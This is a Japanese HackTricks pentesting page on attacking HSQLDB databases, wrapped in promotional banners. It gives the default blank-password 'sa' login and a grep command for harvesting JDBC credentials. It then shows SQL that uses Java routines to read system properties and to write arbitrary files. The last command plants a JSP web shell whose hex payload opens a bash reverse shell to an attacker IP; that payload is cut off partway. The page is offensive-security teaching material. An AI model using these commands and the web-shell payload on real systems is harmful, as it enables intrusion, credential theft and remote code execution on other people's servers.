AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
# 基本情報
HSQLDB([HyperSQL DataBase](http://hsqldb.org/))はJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
**デフォルトポート:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# 情報
### デフォルト設定
このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。
デフォルトの資格情報は通常、パスワードが空白の`sa`です。
他のサービスを悪用した場合、可能な資格情報を検索するには
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
データベース名を注意深く覚えておいてください。接続するために必要になります。
# 情報収集
HSQLDBを[ダウンロード](https://sourceforge.net/projects/hsqldb/files/)して`hsqldb/lib/hsqldb.jar`を展開し、`java -jar hsqldb.jar`を実行してGUIアプリ(eww)を使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。
リモートシステムの場合、接続URLは次のようになります:`jdbc:hsqldb:hsql://ip/DBNAME`。
# コツ
## Java言語ルーチン
HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。
JRTは`functions`または`procedures`になります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これは`VALUES`ステートメントを使用して呼び出されます。
Javaメソッドがvoidを返す場合、`CALL`ステートメントで呼び出されるプロシージャを使用する必要があります。
## Javaシステムプロパティの読み取り
関数を作成する:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
実行機能:
```text
VALUES(getsystemproperty('user.name'))
```
以下は、システムプロパティの[リストをこちらで確認できます](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
## ファイルへの内容書き込み
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、JDKにある(アプリケーションのクラスパスに自動的にロードされる)カスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。**最大サイズ1024バイトに注意してください**。
プロシージャの作成:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
手順を実行する:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。